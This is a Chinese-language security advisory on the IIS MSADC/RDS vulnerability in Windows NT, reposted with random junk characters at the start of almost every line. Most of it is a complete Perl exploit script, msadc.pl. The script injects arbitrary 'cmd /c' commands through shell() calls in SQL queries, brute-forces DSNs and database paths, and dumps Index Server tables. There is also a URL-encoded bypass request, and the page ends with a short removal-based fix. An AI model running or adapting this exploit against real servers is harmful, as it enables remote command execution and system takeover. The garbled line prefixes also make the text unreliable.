IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
c1_?Z PFeK ;`[ 涉及程序：
_n<
@Jk~ Microsoft NT server
9}Zi_xK&|e k8"[)lDc. 描述：
kc:2ID& 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
&oiBMk`* eYRm:KC 详细：
YA^g [, 如果你没有时间读详细内容的话，就删除:
,[Z;"wE c:\Program Files\Common Files\System\Msadc\msadcs.dll
knZ<V%/e 有关的安全问题就没有了。
1uhSP!b i'vjvc~ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
q]t^6m&- !GVxQll[f 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
1Aa=&B2 关于利用ODBC远程漏洞的描述，请参看:
Yy0m &3[ <8/lHQ^\) http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm w+ tO@ H=9\B} 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
%b UpVyi!( http://www.microsoft.com/security/bulletins/MS99-025faq.asp ZsYT&P2 x68s $H 这里不再论述。
~#
|p=Y /d-7n|#E 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
ZpY"P6 rk(0 w|zR+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
FK B)o7
的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
rW3fd.;kss
/=7[Q ^zaN?0%S33 #将下面这段保存为txt文件，然后: "perl -x 文件名"
"A9 c] c b~ m==G #!perl
n7Ia8?8-l #
RpY#_\^hI # MSADC/RDS 'usage' (aka exploit) script
_u`W$EG
L #
wD&b[i # by rain.forest.puppy
J&6]3x #
yf6&'Y{ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
T/C1x9=? # beta test and find errors!
W1J7$ (wIpq<% use Socket; use Getopt::Std;
ouUU(jj02 getopts("e:vd:h:XR", \%args);
\6${Na' \ c
=i 6 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
NASRr )Hy|K1 if (!defined $args{h} && !defined $args{R}) {
pc%_ :> print qq~
1 {V* (=Tp Usage: msadc.pl -h <host> { -d <delay> -X -v }
5 ERycC y -h <host> = host you want to scan (ip or domain)
C zvi': -d <seconds> = delay between calls, default 1 second
}mC-SC)oSi -X = dump Index Server path table, if available
AHR[i%3W -v = verbose
`p%&c%*A -e = external dictionary file for step 5
#yVY! +A izi=`;=D^ Or a -R will resume a command session
`W8dayZt ABp/uJI) ~; exit;}
5<ycF_ Kq';[ Yc $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
s0"1W"7vh if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
!(Y23w* if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
#X"e g if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
[ nlW}1)46 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
QY<2i-A if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
X^H)2G>e lU.@! rGbw if (!defined $args{R}){ $ret = &has_msadc;
6^.< 5SJ} die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
O(PG"c O=St}B\!m print "Please type the NT commandline you want to run (cmd /c assumed):\n"
K_B-K K(^ . "cmd /c ";
Y75,{ 1\l0 $in=<STDIN>; chomp $in;
puz~Rfn#* $command="cmd /c " . $in ;
X @)5F 9 {e?D 6`#x if (defined $args{R}) {&load; exit;}
d1#;>MiU ~ 8Z0{^ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Bn/ {J &try_btcustmr;
GV([gs igsJ a1F print "\nStep 2: Trying to make our own DSN...";
v >71 ?te &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
@D rMaTr Kh xl 'qj print "\nStep 3: Trying known DSNs...";
ALiXT8q &known_dsn;
fG5 U' Vw m$:o+IH/ print "\nStep 4: Trying known .mdbs...";
b{t'Doe &known_mdb;
Uok? F EN l M5Xw if (defined $args{e}){
]`&ws print "\nStep 5: Trying dictionary of DSN names...";
Nd*zSsVlq &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
A|8(3PiP ^l6q print "Sorry Charley...maybe next time?\n";
?y7x#_Exc exit;
W9T,1h5x y!Q&;xO+! ##############################################################################
]-&
ehW .3&zP sub sendraw { # ripped and modded from whisker
IXugnvyV sleep($delay); # it's a DoS on the server! At least on mine...
#|34(ML my ($pstr)=@_;
;z>)&F socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
hX]vZR&R die("Socket problems\n");
(<pc4 #B@* if(connect(S,pack "SnA4x8",2,80,$target)){
=$IjN v (? select(S); $|=1;
40oRO0p print $pstr; my @in=<S>;
m-UI^M,@< select(STDOUT); close(S);
[ dL4u^]{ return @in;
:0j9 } else { die("Can't connect...\n"); }}
A - G?@U >v`lsCGb ##############################################################################
|b52JF
", >9(lFh0P sub make_header { # make the HTTP request
[C)-=.Xx)j my $msadc=<<EOT
Be+vC=\K POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
/ PAxPZf_ User-Agent: ACTIVEDATA
x GJ{_M Host: $ip
o64&BpCK Content-Length: $clen
70l" [Y Connection: Keep-Alive
&CFHH"OsT h \b]>q@ ADCClientVersion:01.06
B]q
&?~ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Ym5q#f)| {
D1. --!ADM!ROX!YOUR!WORLD!
T2
0dZ8{y Content-Type: application/x-varg
_YY:}'+ Content-Length: $reqlen
*?K3jy{ b:Dr _| EOT
)W~w7 2j- ; $msadc=~s/\n/\r\n/g;
` a5$VV%J return $msadc;}
!L+*.k: "*WzoRA={ ##############################################################################
=m=`| Bn !12W(4S5 sub make_req { # make the RDS request
52BlFBNV my ($switch, $p1, $p2)=@_;
2Tt@2h_L my $req=""; my $t1, $t2, $query, $dsn;
}|
_uqvin o-B9r+N if ($switch==1){ # this is the btcustmr.mdb query
P7(+{d{ $query="Select * from Customers where City=" . make_shell();
JGp~A#H& $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
&+=A;Y) $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
_* ] ~MQ= n3-u.Fb elsif ($switch==2){ # this is general make table query
PBb@J'b $query="create table AZZ (B int, C varchar(10))";
+s
c|PB $dsn="$p1";}
J.mEOo!> HjV3PFg
elsif ($switch==3){ # this is general exploit table query
K.n #;| $query="select * from AZZ where C=" . make_shell();
L{ ;q ^ $dsn="$p1";}
6|t4\' DF/p{s1Y 3 elsif ($switch==4){ # attempt to hork file info from index server
~oh=QakW $query="select path from scope()";
JNRG [j $dsn="Provider=MSIDXS;";}
r@0HqZx` agN`)
F! elsif ($switch==5){ # bad query
)Fk%, H-1 $query="select";
`9Zoq=/ $dsn="$p1";}
.0S.7w3dZo 9`+c<j4/B $t1= make_unicode($query);
Uwr inkoeE $t2= make_unicode($dsn);
*[(O&L&0 $req = "\x02\x00\x03\x00";
^wCjMi(sj $req.= "\x08\x00" . pack ("S1", length($t1));
PmO utYV $req.= "\x00\x00" . $t1 ;
MRi QaUg2 $req.= "\x08\x00" . pack ("S1", length($t2));
r}MXXn,f $req.= "\x00\x00" . $t2 ;
` ZXX[&C $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
(Kd;l &8 return $req;}
F`3c uL[N dX: (%_Mn ##############################################################################
a t${^,& f@Rn& &- sub make_shell { # this makes the shell() statement
:f?\ mVS+ return "'|shell(\"$command\")|'";}
mdR:XuRD"t .@Z qCH ##############################################################################
~xpU<Pd* hV])\t=yf sub make_unicode { # quick little function to convert to unicode
=O1N*'e my ($in)=@_; my $out;
k!b\qS~Q for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Mb=vIk{B f return $out;}
n;)!N | Uf6k` ##############################################################################
v- J*PB.0p Q5b?-
P sub rdo_success { # checks for RDO return success (this is kludge)
N&U=5c`Q' my (@in) = @_; my $base=content_start(@in);
i) g=Lew if($in[$base]=~/multipart\/mixed/){
mK5<;$ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
|\%[e@u return 0;}
\B8tGog nV k o]y ##############################################################################
KlDW'R $ uuHR! sub make_dsn { # this makes a DSN for us
X90VJb] my @drives=("c","d","e","f");
-z./6dQ print "\nMaking DSN: ";
o {Sc foreach $drive (@drives) {
\:]Clvc print "$drive: ";
{$)z C*l my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
%+YLe-\? "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
\R yOexNZ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
FA<|V!a $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
OACRw%J:X{ return 0 if $2 eq "404"; # not found/doesn't exist
N|Xx#/ if($2 eq "200") {
k{(R.gLZG foreach $line (@results) {
os|8/[gT return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
"qjkw f)\ } return 0;}
o8.KakrPP 0m $f9b|Q? ##############################################################################
^A dHP!I )1wC].RFYm sub verify_exists {
4eK!1|1 my ($page)=@_;
im|(
4 f my @results=sendraw("GET $page HTTP/1.0\n\n");
#\[h.4i return $results[0];}
a,tzt
]> 7T9m@ ##############################################################################
MWl?pG!Y q 9lz sub try_btcustmr {
KSnU;B6w> my @drives=("c","d","e","f");
kg?[
my @dirs=("winnt","winnt35","winnt351","win","windows");
R7}=k)U?d@ e3,TY.,Ay foreach $dir (@dirs) {
%^ f! = * print "$dir -> "; # fun status so you can see progress
xD v$z.=Y foreach $drive (@drives) {
5A
oKlJrY print "$drive: "; # ditto
O*xC}$OOn $reqlen=length( make_req(1,$drive,$dir) ) - 28;
P&"8R $reqlenlen=length( "$reqlen" );
hJ$o+sl $clen= 206 + $reqlenlen + $reqlen;
!|;^ 6MQ+![fN my @results=sendraw(make_header() . make_req(1,$drive,$dir));
gR}> q4b if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
YyEW}2 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
8+K=3=05#U _jg&}HM ##############################################################################
".A+'p J yoiKt;
S sub odbc_error {
0YK`wuZGS my (@in)=@_; my $base;
"S)2<tV my $base = content_start(@in);
$51M' Qu if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
e f8_w6i $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_L
5< $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
GSo&$T;B6 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
IZ+kw.6e return $in[$base+4].$in[$base+5].$in[$base+6];}
1.*VliY print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
&< hDl<E print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
A2>r S $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
zmd,uhNc: };; \&# ##############################################################################
" !43,!< eD5:0;X2 sub verbose {
,p2BB"^_i my ($in)=@_;
#yz5CWu return if !$verbose;
W <.h@Rz+ print STDOUT "\n$in\n";}
bW03m_<M<1 ,{DZvif
##############################################################################
f}{ l Rk *FhD%>< sub save {
0 kC}qru' my ($p1, $p2, $p3, $p4)=@_;
`q
= e<$ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
{6H%4n print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
GP=i6I6C close OUT;}
|m{Q_zAB 8 Z |c!QIU ##############################################################################
4#hDt ^N~ _
nF sC sub load {
\i1>/`F my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
lS1-e0,h1 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
$7M/rF;N5X @p=<IN>; close(IN);
L(Ww6oj $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
O`Ht|@[6 $target= inet_aton($ip) || die("inet_aton problems");
CUJP"u>8M print "Resuming to $ip ...";
:eIPPh|\ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
&XG k if($p[1]==1) {
kkWqP20q $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
w&&uk[Gh/a $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
*;^! FBT my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
.gY}}Q if (rdo_success(@results)){print "Success!\n";}
6x18g(KbP else { print "failed\n"; verbose(odbc_error(@results));}}
X^2 04K%: elsif ($p[1]==3){
C- 25\ if(run_query("$p[3]")){
"mT95x\NA\ print "Success!\n";} else { print "failed\n"; }}
"s[Y $!# elsif ($p[1]==4){
;/tZ sE{ if(run_query($drvst . "$p[3]")){
Q depzo>E print "Success!\n"; } else { print "failed\n"; }}
m
,B,dqT exit;}
iV+'p- >/ RSL%< ##############################################################################
Jt-s6-2 -^A=U7 sub create_table {
_`RzPIS^ my ($in)=@_;
Xxl>,QUA $reqlen=length( make_req(2,$in,"") ) - 28;
)HZUCi/F] $reqlenlen=length( "$reqlen" );
8R !3}kx $clen= 206 + $reqlenlen + $reqlen;
O<}^`4d my @results=sendraw(make_header() . make_req(2,$in,""));
/WIO@c return 1 if rdo_success(@results);
Z)iRc$; my $temp= odbc_error(@results); verbose($temp);
r]! <iw return 1 if $temp=~/Table 'AZZ' already exists/;
7\ .Ax return 0;}
PT2b^PP "= H.$
+ ##############################################################################
>&uG1q0p. [y^)&L$= sub known_dsn {
Zmx[u_NG # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
! : e0cV my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
dU!`aPL? "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
3,`.$
"banner", "banners", "ads", "ADCDemo", "ADCTest");
,.#
SEv5 iQ[0d.(A foreach $dSn (@dsns) {
9C$#A +~C print ".";
`b(y 5 Z next if (!is_access("DSN=$dSn"));
!8 3x,*O if(create_table("DSN=$dSn")){
q; I` &JK print "$dSn successful\n";
sy^k:y ? if(run_query("DSN=$dSn")){
&p?Oo^ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
H<$.AC\zn print "Something's borked. Use verbose next time\n";}}} print "\n";}
G5^ gwG+ WZ.d"EE" ##############################################################################
3F%Q q7v j
s(E-d/ sub is_access {
Bjg 21bw^ my ($in)=@_;
tykA69X\W $reqlen=length( make_req(5,$in,"") ) - 28;
pB
@l+
n^ $reqlenlen=length( "$reqlen" );
6{O#!o*g $clen= 206 + $reqlenlen + $reqlen;
C=LXL1x2e my @results=sendraw(make_header() . make_req(5,$in,""));
,+p& Z pH my $temp= odbc_error(@results);
B x(+uNQ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
)p.+39]{2 return 0;}
>M` swEj Kd_ WN;l ##############################################################################
uj.~ /W1,! =hV-E
D sub run_query {
5io7!% my ($in)=@_;
Pn{yk`6E $reqlen=length( make_req(3,$in,"") ) - 28;
gbc^Lb $reqlenlen=length( "$reqlen" );
`I$qMw,@ $clen= 206 + $reqlenlen + $reqlen;
Q*TxjE7K
my @results=sendraw(make_header() . make_req(3,$in,""));
_ Ko0 return 1 if rdo_success(@results);
' :,6s my $temp= odbc_error(@results); verbose($temp);
~A8%[.({5 return 0;}
vOYcS$,^X% -;$+`<% ##############################################################################
} ?P~qJ|1 m RCgKW< sub known_mdb {
Q^Ln` zMe my @drives=("c","d","e","f","g");
>J=x";,D|~ my @dirs=("winnt","winnt35","winnt351","win","windows");
SwQ.tK1p my $dir, $drive, $mdb;
K{VF_S: my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Fqzk/m h3;Ij ' # this is sparse, because I don't know of many
~H0~5v F my @sysmdbs=( "\\catroot\\icatalog.mdb",
:C42yQAP "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
y? [*qnPj "\\system32\\certmdb.mdb",
sF;1)7]Pq "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
e,E;\x
& /3%]Ggwe my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
BO\l>\)Ir "\\cfusion\\cfapps\\forums\\forums_.mdb",
AW'tZF" "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
4 \(;}M-R{ "\\cfusion\\cfapps\\security\\realm_.mdb",
Tu_dkif' "\\cfusion\\cfapps\\security\\data\\realm.mdb",
OxF\ Hm)( "\\cfusion\\database\\cfexamples.mdb",
ZNB*Az i "\\cfusion\\database\\cfsnippets.mdb",
89l_%To "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
HkvCQ H "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
:kZ2N67 "\\cfusion\\brighttiger\\database\\cleam.mdb",
p!'wOThO` "\\cfusion\\database\\smpolicy.mdb",
z@y*
jT "\\cfusion\\database\cypress.mdb",
$#4z >~0 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
=Ak>2 "\\website\\cgi-win\\dbsample.mdb",
v85&s "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
:&)RK~1m_ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
B^Ql[m&5+ ); #these are just
62EJ# q[ foreach $drive (@drives) {
[ur/ ` foreach $dir (@dirs){
mQ %kGqs foreach $mdb (@sysmdbs) {
9+QLc b print ".";
NtTLvO6 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
D .C m& print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
P[P!WLr"" if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
n E-=7S L print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
glHag"( } else { print "Something's borked. Use verbose next time\n"; }}}}}
wX 41R]pF 6X|KKsPzX foreach $drive (@drives) {
0'97af foreach $mdb (@mdbs) {
=< CH( 4! print ".";
d; #9xD' if(create_table($drv . $drive . $dir . $mdb)){
8KWT d print "\n" . $drive . $dir . $mdb . " successful\n";
`?JrC3 if(run_query($drv . $drive . $dir . $mdb)){
#<'/s qL print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
N83RsL "}_ } else { print "Something's borked. Use verbose next time\n"; }}}}
:o}7C%Q8 }
[9?= &O#* {OAy@6
+ ##############################################################################
f| N(~ mA^>Y_: sub hork_idx {
!W$Br\< print "\nAttempting to dump Index Server tables...\n";
>4EcV1y print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
f lLmZ1" $reqlen=length( make_req(4,"","") ) - 28;
[RpFC4W $reqlenlen=length( "$reqlen" );
?7&VT1 $clen= 206 + $reqlenlen + $reqlen;
h]EXD my @results=sendraw2(make_header() . make_req(4,"",""));
5 (H; x74 if (rdo_success(@results)){
0jq&i#yNB my $max=@results; my $c; my %d;
* )]SsM 1 for($c=19; $c<$max; $c++){
BC$In! $results[$c]=~s/\x00//g;
/v!H{Zw=c $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&\p :VF. $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
%oor 7 -l $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
g"Ii'JZ? $d{"$1$2"}="";}
wFqz.HoB foreach $c (keys %d){ print "$c\n"; }
mOX I"q]p } else {print "Index server doesn't seem to be installed.\n"; }}
c7rYG] D 0n2r ##############################################################################
Y6N+,FAk+J |9\Lv $VJ sub dsn_dict {
D[t Gbk open(IN, "<$args{e}") || die("Can't open external dictionary\n");
%! .rP while(<IN>){
SbI,9 < $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
S?3{G@!
next if (!is_access("DSN=$dSn"));
k6Tpaf^ if(create_table("DSN=$dSn")){
!m(6/*PAl print "$dSn successful\n";
q6G( [h7 if(run_query("DSN=$dSn")){
2PeI+!7s print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
h,p&/oU4U print "Something's borked. Use verbose next time\n";}}}
2! 6Kz q print "\n"; close(IN);}
y mE`V VR:b1XWX ##############################################################################
shn-Es* +?@qu x! sub sendraw2 { # ripped and modded from whisker
v <c Hx/ sleep($delay); # it's a DoS on the server! At least on mine...
0~ S<}N my ($pstr)=@_;
mMjVbeh[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
LA w S8t', die("Socket problems\n");
un9o ~3SF< if(connect(S,pack "SnA4x8",2,80,$target)){
&YMVoy VD
print "Connected. Getting data";
E
Fv+[ open(OUT,">raw.out"); my @in;
eqf~5/Z select(S); $|=1; print $pstr;
/gd o~ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
a0LX<} close(OUT); select(STDOUT); close(S); return @in;
<1LuYED q } else { die("Can't connect...\n"); }}
Z\7bp&& 3}gK`1Nq1 ##############################################################################
AN1bfF:C z`2d(KE? sub content_start { # this will take in the server headers
kt:%]ZZL my (@in)=@_; my $c;
6?iP z?5 for ($c=1;$c<500;$c++) {
- 'VT if($in[$c] =~/^\x0d\x0a/){
:|A db\b if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
VN".NEL else { return $c+1; }}}
^}[
N 4 return -1;} # it should never get here actually
jXDo!a| 4y {vH8X(m ##############################################################################
iGlZFA Z)&HqqT3p sub funky {
a|53E<5X my (@in)=@_; my $error=odbc_error(@in);
r 1a{Y8? if($error=~/ADO could not find the specified provider/){
j,-7J*A~ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
F>Oh)VL,Ev exit;}
e/3hb) #; if($error=~/A Handler is required/){
hWu)0t print "\nServer has custom handler filters (they most likely are patched)\n";
3g h^a ;uC exit;}
3//v{ce1] if($error=~/specified Handler has denied Access/){
N} h%8\ print "\nServer has custom handler filters (they most likely are patched)\n";
K;ML' exit;}}
;$/G T ujh4cp ##############################################################################
& tOD g !8lW sub has_msadc {
yLX#:
nm my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
.WPqK >79| my $base=content_start(@results);
Bx)&MYY}[[ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
4%7*tVG return 0;}
4 >HGwk@+8 H}~^,B2; ########################
OE"Bb *Wa u7 M:$nL 解决方案：
}.vy|^ X 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
s#fmGe"8 2、移除web 目录: /msadc
